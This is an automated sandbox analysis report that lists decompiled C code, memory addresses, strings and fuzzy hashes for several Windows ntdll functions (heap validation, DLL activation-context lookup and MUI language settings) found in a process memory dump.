Instruction ID: 3da7e341beca14ca45aed6b74242db91dc1098f7acbd003d0c3df309e3ecf1e7
Opcode Fuzzy Hash: b09ca34fa45334100e1e2faa4fd447e210618568dc63d74dbb801a1a21dfeee4
Instruction Fuzzy Hash: B6912431520645DFDB32DFA8C494ABEBBF6FF49718F08801DE54A5B692C73A9841DB00

Uniqueness

Uniqueness Score: -1.00%

Function 012C3D34, Relevance: 6.7, Strings: 5, Instructions: 435
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E012C3D34(signed int* __ecx) {
				signed int* _v8;
				char _v12;
				signed int* _v16;
				signed int* _v20;
				char _v24;
				signed int _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				signed int _v44;
				signed int* _v48;
				signed int* _v52;
				signed int _v56;
				signed int _v60;
				char _v68;
				signed int _t140;
				signed int _t161;
				signed int* _t236;
				signed int* _t242;
				signed int* _t243;
				signed int* _t244;
				signed int* _t245;
				signed int _t255;
				void* _t257;
				signed int _t260;
				void* _t262;
				signed int _t264;
				void* _t267;
				signed int _t275;
				signed int* _t276;
				short* _t277;
				signed int* _t278;
				signed int* _t279;
				signed int* _t280;
				short* _t281;
				signed int* _t282;
				short* _t283;
				signed int* _t284;
				void* _t285;

				_v60 = _v60 | 0xffffffff;
				_t280 = 0;
				_t242 = __ecx;
				_v52 = __ecx;
				_v8 = 0;
				_v20 = 0;
				_v40 = 0;
				_v28 = 0;
				_v32 = 0;
				_v44 = 0;
				_v56 = 0;
				_t275 = 0;
				_v16 = 0;
				if(__ecx == 0) {
					_t280 = 0xc000000d;
					_t140 = 0;
					L50:
					 *_t242 =  *_t242 | 0x00000800;
					_t242[0x13] = _t140;
					_t242[0x16] = _v40;
					_t242[0x18] = _v28;
					_t242[0x14] = _v32;
					_t242[0x17] = _t275;
					_t242[0x15] = _v44;
					_t242[0x11] = _v56;
					_t242[0x12] = _v60;
					return _t280;
				}
				if(E012C1B8F(L"WindowsExcludedProcs",  &_v36,  &_v12,  &_v8) >= 0) {
					_v56 = 1;
					if(_v8 != 0) {
						L012D77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v8);
					}
					_v8 = _t280;
				}
				if(E012C1B8F(L"Kernel-MUI-Number-Allowed",  &_v36,  &_v12,  &_v8) >= 0) {
					_v60 =  *_v8;
					L012D77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v8);
					_v8 = _t280;
				}
				if(E012C1B8F(L"Kernel-MUI-Language-Allowed",  &_v36,  &_v12,  &_v8) < 0) {
					L16:
					if(E012C1B8F(L"Kernel-MUI-Language-Disallowed",  &_v36,  &_v12,  &_v8) < 0) {
						L28:
						if(E012C1B8F(L"Kernel-MUI-Language-SKU",  &_v36,  &_v12,  &_v8) < 0) {
							L46:
							_t275 = _v16;
							L47:
							_t161 = 0;
							L48:
							if(_v8 != 0) {
								L012D77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t161, _v8);
							}
							_t140 = _v20;
							if(_t140 != 0) {
								if(_t275 != 0) {
									L012D77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t275);
									_t275 = 0;
									_v28 = 0;
									_t140 = _v20;
								}
							}
							goto L50;
						}
						_t167 = _v12;
						_t255 = _v12 + 4;
						_v44 = _t255;
						if(_t255 == 0) {
							_t276 = _t280;
							_v32 = _t280;
						} else {
							_t276 = L012D4620(_t255,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t255);
							_t167 = _v12;
							_v32 = _t276;
						}
						if(_t276 == 0) {
							_v44 = _t280;
							_t280 = 0xc0000017;
							goto L46;
						} else {
							E012FF3E0(_t276, _v8, _t167);
							_v48 = _t276;
							_t277 = E01301370(_t276, 0x1294e90);
							_pop(_t257);
							if(_t277 == 0) {
								L38:
								_t170 = _v48;
								if( *_v48 != 0) {
									E012FBB40(0,  &_v68, _t170);
									if(L012C43C0( &_v68,  &_v24) != 0) {
										_t280 =  &(_t280[0]);
									}
								}
								if(_t280 == 0) {
									_t280 = 0;
									L012D77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v32);
									_v44 = 0;
									_v32 = 0;
								} else {
									_t280 = 0;
								}
								_t174 = _v8;
								if(_v8 != 0) {
									L012D77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t174);
								}
								_v8 = _t280;
								goto L46;
							}
							_t243 = _v48;
							do {
								 *_t277 = 0;
								_t278 = _t277 + 2;
								E012FBB40(_t257,  &_v68, _t243);
								if(L012C43C0( &_v68,  &_v24) != 0) {
									_t280 =  &(_t280[0]);
								}
								_t243 = _t278;
								_t277 = E01301370(_t278, 0x1294e90);
								_pop(_t257);
							} while (_t277 != 0);
							_v48 = _t243;
							_t242 = _v52;
							goto L38;
						}
					}
					_t191 = _v12;
					_t260 = _v12 + 4;
					_v28 = _t260;
					if(_t260 == 0) {
						_t275 = _t280;
						_v16 = _t280;
					} else {
						_t275 = L012D4620(_t260,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t260);
						_t191 = _v12;
						_v16 = _t275;
					}
					if(_t275 == 0) {
						_v28 = _t280;
						_t280 = 0xc0000017;
						goto L47;
					} else {
						E012FF3E0(_t275, _v8, _t191);
						_t285 = _t285 + 0xc;
						_v48 = _t275;
						_t279 = _t280;
						_t281 = E01301370(_v16, 0x1294e90);
						_pop(_t262);
						if(_t281 != 0) {
							_t244 = _v48;
							do {
								 *_t281 = 0;
								_t282 = _t281 + 2;
								E012FBB40(_t262,  &_v68, _t244);
								if(L012C43C0( &_v68,  &_v24) != 0) {
									_t279 =  &(_t279[0]);
								}
								_t244 = _t282;
								_t281 = E01301370(_t282, 0x1294e90);
								_pop(_t262);
							} while (_t281 != 0);
							_v48 = _t244;
							_t242 = _v52;
						}
						_t201 = _v48;
						_t280 = 0;
						if( *_v48 != 0) {
							E012FBB40(_t262,  &_v68, _t201);
							if(L012C43C0( &_v68,  &_v24) != 0) {
								_t279 =  &(_t279[0]);
							}
						}
						if(_t279 == 0) {
							L012D77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v16);
							_v28 = _t280;
							_v16 = _t280;
						}
						_t202 = _v8;
						if(_v8 != 0) {
							L012D77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t202);
						}
						_v8 = _t280;
						goto L28;
					}
				}
				_t214 = _v12;
				_t264 = _v12 + 4;
				_v40 = _t264;
				if(_t264 == 0) {
					_v20 = _t280;
				} else {
					_t236 = L012D4620(_t264,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t264);
					_t280 = _t236;
					_v20 = _t236;
					_t214 = _v12;
				}
				if(_t280 == 0) {
					_t161 = 0;
					_t280 = 0xc0000017;
					_v40 = 0;
					goto L48;
				} else {
					E012FF3E0(_t280, _v8, _t214);
					_t285 = _t285 + 0xc;
					_v48 = _t280;
					_t283 = E01301370(_t280, 0x1294e90);
					_pop(_t267);
					if(_t283 != 0) {
						_t245 = _v48;
						do {
							 *_t283 = 0;
							_t284 = _t283 + 2;
							E012FBB40(_t267,  &_v68, _t245);
							if(L012C43C0( &_v68,  &_v24) != 0) {
								_t275 = _t275 + 1;
							}
							_t245 = _t284;
							_t283 = E01301370(_t284, 0x1294e90);
							_pop(_t267);
						} while (_t283 != 0);
						_v48 = _t245;
						_t242 = _v52;
					}
					_t224 = _v48;
					_t280 = 0;
					if( *_v48 != 0) {
						E012FBB40(_t267,  &_v68, _t224);
						if(L012C43C0( &_v68,  &_v24) != 0) {
							_t275 = _t275 + 1;
						}
					}
					if(_t275 == 0) {
						L012D77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v20);
						_v40 = _t280;
						_v20 = _t280;
					}
					_t225 = _v8;
					if(_v8 != 0) {
						L012D77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t225);
					}
					_v8 = _t280;
					goto L16;
				}
			}

0x012c3d3c
0x012c3d42
0x012c3d44
0x012c3d46
0x012c3d49
0x012c3d4c
0x012c3d4f
0x012c3d52
0x012c3d55
0x012c3d58
0x012c3d5b
0x012c3d5f
0x012c3d61
0x012c3d66
0x01318213
0x01318218
0x012c4085
0x012c4088
0x012c408e
0x012c4094
0x012c409a
0x012c40a0
0x012c40a6
0x012c40a9
0x012c40af
0x012c40b6
0x012c40bd
0x012c40bd
0x012c3d83
0x0131821f
0x01318229
0x01318238
0x01318238
0x0131823d
0x0131823d
0x012c3da0
0x012c3daf
0x012c3db5
0x012c3dba
0x012c3dba
0x012c3dd4
0x012c3e94
0x012c3eab
0x012c3f6d
0x012c3f84
0x012c406b
0x012c406b
0x012c406e
0x012c406e
0x012c4070
0x012c4074
0x01318351
0x01318351
0x012c407a
0x012c407f
0x0131835d
0x01318370
0x01318377
0x01318379
0x0131837c
0x0131837c
0x0131835d
0x00000000
0x012c407f
0x012c3f8a
0x012c3f8d
0x012c3f90
0x012c3f95
0x0131830d
0x0131830f
0x012c3f9b
0x012c3fac
0x012c3fae
0x012c3fb1
0x012c3fb1
0x012c3fb6
0x01318317
0x0131831a
0x00000000
0x012c3fbc
0x012c3fc1
0x012c3fc9
0x012c3fd7
0x012c3fda
0x012c3fdd
0x012c4021
0x012c4021
0x012c4029
0x012c4030
0x012c4044
0x012c4046
0x012c4046
0x012c4044
0x012c4049
0x01318327
0x01318334
0x01318339
0x0131833c
0x012c404f
0x012c404f
0x012c404f
0x012c4051
0x012c4056
0x012c4063
0x012c4063
0x012c4068
0x00000000
0x012c4068
0x012c3fdf
0x012c3fe2
0x012c3fe4
0x012c3fe7
0x012c3fef
0x012c4003
0x012c4005
0x012c4005
0x012c400c
0x012c4013
0x012c4016
0x012c4017
0x012c401b
0x012c401e
0x00000000
0x012c401e
0x012c3fb6
0x012c3eb1
0x012c3eb4
0x012c3eb7
0x012c3ebc
0x013182a9
0x013182ab
0x012c3ec2
0x012c3ed3
0x012c3ed5
0x012c3ed8
0x012c3ed8
0x012c3edd
0x013182b3
0x013182b6
0x00000000
0x012c3ee3
0x012c3ee8
0x012c3eed
0x012c3ef0
0x012c3ef3
0x012c3f02
0x012c3f05
0x012c3f08
0x013182c0
0x013182c3
0x013182c5
0x013182c8
0x013182d0
0x013182e4
0x013182e6
0x013182e6
0x013182ed
0x013182f4
0x013182f7
0x013182f8
0x013182fc
0x013182ff
0x013182ff
0x012c3f0e
0x012c3f11
0x012c3f16
0x012c3f1d
0x012c3f31
0x01318307
0x01318307
0x012c3f31
0x012c3f39
0x012c3f48
0x012c3f4d
0x012c3f50
0x012c3f50
0x012c3f53
0x012c3f58
0x012c3f65
0x012c3f65
0x012c3f6a
0x00000000
0x012c3f6a
0x012c3edd
0x012c3dda
0x012c3ddd
0x012c3de0
0x012c3de5
0x01318245
0x012c3deb
0x012c3df7
0x012c3dfc
0x012c3dfe
0x012c3e01
0x012c3e01
0x012c3e06
0x0131824d
0x0131824f
0x01318254
0x00000000
0x012c3e0c
0x012c3e11
0x012c3e16
0x012c3e19
0x012c3e29
0x012c3e2c
0x012c3e2f
0x0131825c
0x0131825f
0x01318261
0x01318264
0x0131826c
0x01318280
0x01318282
0x01318282
0x01318289
0x01318290
0x01318293
0x01318294
0x01318298
0x0131829b
0x0131829b
0x012c3e35
0x012c3e38
0x012c3e3d
0x012c3e44
0x012c3e58
0x013182a3
0x013182a3
0x012c3e58
0x012c3e60
0x012c3e6f
0x012c3e74
0x012c3e77
0x012c3e77
0x012c3e7a
0x012c3e7f
0x012c3e8c
0x012c3e8c
0x012c3e91
0x00000000
0x012c3e91

Strings

Kernel-MUI-Number-Allowed, xrefs: 012C3D8C
WindowsExcludedProcs, xrefs: 012C3D6F
Kernel-MUI-Language-Allowed, xrefs: 012C3DC0
Kernel-MUI-Language-Disallowed, xrefs: 012C3E97
Kernel-MUI-Language-SKU, xrefs: 012C3F70

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
API String ID: 0-258546922
Opcode ID: 9535c7986a4149a1f328fd17ba4780e2a4957dc94b70d7d040bab8b1047331a9
Instruction ID: 45958d723a0b627149f395bc0ef6830d677b6bd5e321b16dacf58a729033f552
Opcode Fuzzy Hash: 9535c7986a4149a1f328fd17ba4780e2a4957dc94b70d7d040bab8b1047331a9
Instruction Fuzzy Hash: ECF18272D20259EFCB15DF98C9809EFBBB9FF08A50F14456AEA05E7250E7749E01CB90

Uniqueness

Uniqueness Score: -1.00%

Function 012E8E00, Relevance: 6.4, Strings: 5, Instructions: 126
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E012E8E00(void* __ecx) {
				signed int _v8;
				char _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t32;
				intOrPtr _t35;
				intOrPtr _t43;
				void* _t46;
				intOrPtr _t47;
				void* _t48;
				signed int _t49;
				void* _t50;
				intOrPtr* _t51;
				signed int _t52;
				void* _t53;
				intOrPtr _t55;

				_v8 =  *0x13ad360 ^ _t52;
				_t49 = 0;
				_t48 = __ecx;
				_t55 =  *0x13a8464; // 0x73b80110
				if(_t55 == 0) {
					L9:
					if( !_t49 >= 0) {
						if(( *0x13a5780 & 0x00000003) != 0) {
							E01335510("minkernel\\ntdll\\ldrsnap.c", 0x2b5, "LdrpFindDllActivationContext", 0, "Querying the active activation context failed with status 0x%08lx\n", _t49);
						}
						if(( *0x13a5780 & 0x00000010) != 0) {
							asm("int3");
						}
					}
					return E012FB640(_t49, 0, _v8 ^ _t52, _t47, _t48, _t49);
				}
				_t47 =  *((intOrPtr*)(__ecx + 0x18));
				_t43 =  *0x13a7984; // 0xe52b78
				if( *((intOrPtr*)( *[fs:0x30] + 0x1f8)) == 0 || __ecx != _t43) {
					_t32 =  *((intOrPtr*)(_t48 + 0x28));
					if(_t48 == _t43) {
						_t50 = 0x5c;
						if( *_t32 == _t50) {
							_t46 = 0x3f;
							if( *((intOrPtr*)(_t32 + 2)) == _t46 &&  *((intOrPtr*)(_t32 + 4)) == _t46 &&  *((intOrPtr*)(_t32 + 6)) == _t50 &&  *((intOrPtr*)(_t32 + 8)) != 0 &&  *((short*)(_t32 + 0xa)) == 0x3a &&  *((intOrPtr*)(_t32 + 0xc)) == _t50) {
								_t32 = _t32 + 8;
							}
						}
					}
					_t51 =  *0x13a8464; // 0x73b80110
					 *0x13ab1e0(_t47, _t32,  &_v12);
					_t49 =  *_t51();
					if(_t49 >= 0) {
						L8:
						_t35 = _v12;
						if(_t35 != 0) {
							if( *((intOrPtr*)(_t48 + 0x48)) != 0) {
								E012E9B10( *((intOrPtr*)(_t48 + 0x48)));
								_t35 = _v12;
							}
							 *((intOrPtr*)(_t48 + 0x48)) = _t35;
						}
						goto L9;
					}
					if(_t49 != 0xc000008a) {
						if(_t49 != 0xc000008b && _t49 != 0xc0000089 && _t49 != 0xc000000f && _t49 != 0xc0000204 && _t49 != 0xc0000002) {
							if(_t49 != 0xc00000bb) {
								goto L8;
							}
						}
					}
					if(( *0x13a5780 & 0x00000005) != 0) {
						_push(_t49);
						E01335510("minkernel\\ntdll\\ldrsnap.c", 0x298, "LdrpFindDllActivationContext", 2, "Probing for the manifest of DLL \"%wZ\" failed with status 0x%08lx\n", _t48 + 0x24);
						_t53 = _t53 + 0x1c;
					}
					_t49 = 0;
					goto L8;
				} else {
					goto L9;
				}
			}

0x012e8e0f
0x012e8e16
0x012e8e19
0x012e8e1b
0x012e8e21
0x012e8e7f
0x012e8e85
0x01329354
0x0132936c
0x01329371
0x0132937b
0x01329381
0x01329381
0x0132937b
0x012e8e9d
0x012e8e9d
0x012e8e29
0x012e8e2c
0x012e8e38
0x012e8e3e
0x012e8e43
0x012e8eb5
0x012e8eb9
0x013292aa
0x013292af
0x013292e8
0x013292e8
0x013292af
0x012e8eb9
0x012e8e45
0x012e8e53
0x012e8e5b
0x012e8e5f
0x012e8e78
0x012e8e78
0x012e8e7d
0x012e8ec3
0x012e8ecd
0x012e8ed2
0x012e8ed2
0x012e8ec5
0x012e8ec5
0x00000000
0x012e8e7d
0x012e8e67
0x012e8ea4
0x0132931a
0x00000000
0x00000000
0x01329320
0x012e8ea4
0x012e8e70
0x01329325
0x01329340
0x01329345
0x01329345
0x012e8e76
0x00000000
0x00000000
0x00000000
0x00000000

Strings

x+, xrefs: 012E8E2C
LdrpFindDllActivationContext, xrefs: 01329331, 0132935D
minkernel\ntdll\ldrsnap.c, xrefs: 0132933B, 01329367
Probing for the manifest of DLL "%wZ" failed with status 0x%08lx, xrefs: 0132932A
Querying the active activation context failed with status 0x%08lx, xrefs: 01329357

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID: LdrpFindDllActivationContext$Probing for the manifest of DLL "%wZ" failed with status 0x%08lx$Querying the active activation context failed with status 0x%08lx$minkernel\ntdll\ldrsnap.c$x+
API String ID: 0-1715179400
Opcode ID: 71975b99ef64d061858b28c823ad84dce279c32adfa0e1a60a794d9e79df8685
Instruction ID: 7f13be1250423551ed280ed2c66d9c065bd1bac932382f127ef3a10f6b89383b
Opcode Fuzzy Hash: 71975b99ef64d061858b28c823ad84dce279c32adfa0e1a60a794d9e79df8685
Instruction Fuzzy Hash: 46410932A203169EEF36AA5C884DB75B7E4BB04358FCE4169FB8457152E7706D808381

Uniqueness

Uniqueness Score: -1.00%

Function 012B40E1, Relevance: 6.3, Strings: 5, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 29%

			E012B40E1(void* __edx) {
				void* _t19;
				void* _t29;

				_t28 = _t19;
				_t29 = __edx;
				if( *((intOrPtr*)(_t19 + 0x60)) != 0xeeffeeff) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						E012BB150();
					} else {
						E012BB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E012BB150("Invalid heap signature for heap at %p", _t28);
					if(_t29 != 0) {
						E012BB150(", passed to %s", _t29);
					}
					_push("\n");
					E012BB150();
					if( *((char*)( *[fs:0x30] + 2)) != 0) {
						 *0x13a6378 = 1;
						asm("int3");
						 *0x13a6378 = 0;
					}
					return 0;
				}
				return 1;
			}

0x012b40e6
0x012b40e8
0x012b40f1
0x0131042d
0x0131044c
0x01310451
0x0131042f
0x01310444
0x01310449
0x0131045d
0x01310466
0x0131046e
0x01310474
0x01310475
0x0131047a
0x0131048a
0x0131048c
0x01310493
0x01310494
0x01310494
0x00000000
0x0131049b
0x00000000

Strings

HEAP: , xrefs: 0131044C
, passed to %s, xrefs: 01310469
HEAP[%wZ]: , xrefs: 0131043F
RtlAllocateHeap, xrefs: 01310468
Invalid heap signature for heap at %p, xrefs: 01310458

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlAllocateHeap
API String ID: 0-188067316
Opcode ID: fe89f4a2aec9f7131bf6a3af3e0a3d9cbe32e0346d2b1f89f0950dceb216cc48
Instruction ID: 948132ac99ba7511aa397fbe89eff78de71509507817d2611cc155a9393840f4
Opcode Fuzzy Hash: fe89f4a2aec9f7131bf6a3af3e0a3d9cbe32e0346d2b1f89f0950dceb216cc48
Instruction Fuzzy Hash: 88014C321742819ED32D976DE4DEFA277E8DB01B74F18802DF00567682DEE89480CA14

Uniqueness

Uniqueness Score: -1.00%

Function 012D5600, Relevance: 6.2, Strings: 3, Instructions: 2418COMMON

Download Yara Rule

Strings

HEAP: , xrefs: 0131EE8B, 0131F109
HEAP: Free Heap block %p modified at %p after it was freed, xrefs: 0131EEA5, 0131F123
HEAP[%wZ]: , xrefs: 0131EE7C, 0131F0FA

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
API String ID: 0-3178619729
Opcode ID: 03dd16bb455772ec42e6f42ea1f632478e72aed2a562cc9ef915d5182a7f1a40
Instruction ID: 51123e6f9813cb4a2b90d052c6976db131f12ef70f1c24e397c3a18ae26b5d1c
Opcode Fuzzy Hash: 03dd16bb455772ec42e6f42ea1f632478e72aed2a562cc9ef915d5182a7f1a40
Instruction Fuzzy Hash: CF239070A2021ADFDB29CF68C480BADBBF1FF49304F1481A9D949AB385D775A945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 012DA830, Relevance: 5.4, Strings: 4, Instructions: 350COMMON

Download Yara Rule

Strings

HEAP: , xrefs: 013222E6, 013223F6
ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock, xrefs: 01322403
((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock)), xrefs: 013222F3
HEAP[%wZ]: , xrefs: 013222D7, 013223E7

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID: ((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock))$HEAP: $HEAP[%wZ]: $ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock
API String ID: 0-1657114761
Opcode ID: e10cabee50b5ea9814483c964af72de3fe9bc00849cd34700fbc5b57c77d80e1
Instruction ID: 64e7cfece137f992e823d806d02a64ed822d610113cba24891cbd033bc28e9f1
Opcode Fuzzy Hash: e10cabee50b5ea9814483c964af72de3fe9bc00849cd34700fbc5b57c77d80e1
Instruction Fuzzy Hash: 6FD10134A202468FDB19CF6CC491BBABBF1FF48304F148569DA9A9B342E334E841CB51

Uniqueness

Uniqueness Score: -1.00%

Function 012DA229, Relevance: 5.2, Strings: 4, Instructions: 183COMMON

Download Yara Rule

Strings

HEAP: , xrefs: 01321DE4
ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 01321DF9
HEAP[%wZ]: , xrefs: 01321DD7
`, xrefs: 01321C8D

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID: InitializeThunk
String ID: HEAP: $HEAP[%wZ]: $ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix)$`
API String ID: 2994545307-2586055223
Opcode ID: b0efd6422e2d60767500dc99192cb7b0da3794be6108c20036fe2e2dd028237a
Instruction ID: 5c84bce47f0c686dbbd3bbc146cd5a9228976f230c87a77197cb3da0368e6016
Opcode Fuzzy Hash: b0efd6422e2d60767500dc99192cb7b0da3794be6108c20036fe2e2dd028237a
Instruction Fuzzy Hash: 615104322246919FE722EB69CD49F777BE8FF80B58F180468F5518B292D774D900CB61

Uniqueness

Uniqueness Score: -1.00%

Function 013749A4, Relevance: 5.1, Strings: 4, Instructions: 114COMMON

Download Yara Rule

Strings

HEAP: , xrefs: 01374A4A, 01374A5D, 01374A5F, 01374AC4
HEAP[%wZ]: , xrefs: 01374A3D, 01374AB7
This is located in the %s field of the heap header., xrefs: 01374AD6
Heap %p - headers modified (%p is %lx instead of %lx), xrefs: 01374A61

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID: InitializeThunk
String ID: This is located in the %s field of the heap header.$HEAP: $HEAP[%wZ]: $Heap %p - headers modified (%p is %lx instead of %lx)
API String ID: 2994545307-336120773
Opcode ID: e78ca844efcefba5f3e3d04c0907b0ab9d55923f16168ef1c8d246e1000a850e
Instruction ID: 5a9b3175cf7de88d29156a028c40974718777bb1390c35a4215bac45fdcb5f0f
Opcode Fuzzy Hash: e78ca844efcefba5f3e3d04c0907b0ab9d55923f16168ef1c8d246e1000a850e
Instruction Fuzzy Hash: D2312332220155EFE771EB5DC889FAA77ECEF00768F144069F5058B241E678B940CB69

Uniqueness

Uniqueness Score: -1.00%

Function 012D99BF, Relevance: 4.3, Strings: 3, Instructions: 572COMMON

Download Yara Rule

Strings

HEAP: , xrefs: 0132155D, 01321624, 013217C9, 01321912
HEAP: Free Heap block %p modified at %p after it was freed, xrefs: 01321572, 01321639, 013217DE, 01321927
HEAP[%wZ]: , xrefs: 01321550, 01321617, 013217BC, 01321905

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
API String ID: 0-3178619729
Opcode ID: 71b17da5a0c14242628800f1afd2fe3301b661d2eee5033a4146a813f65d3c8d
Instruction ID: 7b9f57e34be163ab1677e2bb95331a04a6f3ae35f1e666df40c11ca7fc840dba
Opcode Fuzzy Hash: 71b17da5a0c14242628800f1afd2fe3301b661d2eee5033a4146a813f65d3c8d
Instruction Fuzzy Hash: C9223470610256DFEB24DF2CC495B7ABBF9EF44708F288469E8468B382E775D881CB50

Uniqueness

Uniqueness Score: -1.00%

Function 012DB477, Relevance: 4.2, Strings: 3, Instructions: 405COMMON

Download Yara Rule

Strings

HEAP: , xrefs: 01322980
(UCRBlock->Size >= *Size), xrefs: 0132298B
HEAP[%wZ]: , xrefs: 01322973

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID: (UCRBlock->Size >= *Size)$HEAP: $HEAP[%wZ]:
API String ID: 0-4253913091
Opcode ID: 8592be0b7791dc47d9bdb0a72b5b6827059e971216327be0f805b0bb549866b3
Instruction ID: 069847edcf4a43da0ada0e6ae8924c005382449674f9f5ba8226f474f3ada0e5
Opcode Fuzzy Hash: 8592be0b7791dc47d9bdb0a72b5b6827059e971216327be0f805b0bb549866b3
Instruction Fuzzy Hash: B1E1CF70B20206DFDB19DF68C8A4BBABBB5FF49304F1581A9E5029B391D774E941CB90

Uniqueness

Uniqueness Score: -1.00%

Function 012C8794, Relevance: 4.0, Strings: 3, Instructions: 255COMMON

Download Yara Rule

Strings

LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x, xrefs: 01319C18
minkernel\ntdll\ldrsnap.c, xrefs: 01319C28
LdrpDoPostSnapWork, xrefs: 01319C1E

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID: InitializeThunk
String ID: LdrpDoPostSnapWork$LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x$minkernel\ntdll\ldrsnap.c
API String ID: 2994545307-1948996284
Opcode ID: 3bdaaa141ba53c34187a312cb1e4e0bcfccdb0027c2898bf820052a56fe0e127
Instruction ID: 41939432cf94fa3eeeacf588a3c15f38709a1ed3c62aa527d851be85408ead44
Opcode Fuzzy Hash: 3bdaaa141ba53c34187a312cb1e4e0bcfccdb0027c2898bf820052a56fe0e127
Instruction Fuzzy Hash: FD91F371A2020BDBEF18DF59D881ABAB7B5FF44B14B44826DDB05AB644E730E901CB90

Uniqueness

Uniqueness Score: -1.00%

Function 012EAC7B, Relevance: 4.0, Strings: 3, Instructions: 205COMMON

Download Yara Rule

Strings

HEAP: , xrefs: 0132A0BA
RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 0132A0CD
HEAP[%wZ]: , xrefs: 0132A0AD

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix)
API String ID: 0-1340214556
Opcode ID: afcf2c358a201c4948c3ed8776a599eeae0455873b1413af3e184802003f21b5
Instruction ID: 573c8dec9479ddc92098fce765b58798c84225fbe28a973c7894012f0bac9857
Opcode Fuzzy Hash: afcf2c358a201c4948c3ed8776a599eeae0455873b1413af3e184802003f21b5
Instruction Fuzzy Hash: 91814931224685EFE726DBACC888FA9BBF8FF05318F0441A5E64187792D379E940CB10

Uniqueness

Uniqueness Score: -1.00%

Function 012DB73D, Relevance: 3.9, Strings: 3, Instructions: 190COMMON

Download Yara Rule

Strings

HEAP: , xrefs: 01322BE8
((PHEAP_ENTRY)LastKnownEntry <= Entry), xrefs: 01322BF3
HEAP[%wZ]: , xrefs: 01322BDB

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID: ((PHEAP_ENTRY)LastKnownEntry <= Entry)$HEAP: $HEAP[%wZ]:
API String ID: 0-1334570610
Opcode ID: d8dad42665c447fe81df6419873cb1df367d451fa9cb8890998e60b5a48ffafb
Instruction ID: 56672be70b7f0401d0a1422dfafd54db85591a686fda2e607fd8f83928795ef7
Opcode Fuzzy Hash: d8dad42665c447fe81df6419873cb1df367d451fa9cb8890998e60b5a48ffafb
Instruction Fuzzy Hash: 8161F471620206DFEB29DF28C491B6ABBE5FF05304F5A856DE949CF242D770E881CB91

Uniqueness

Uniqueness Score: -1.00%

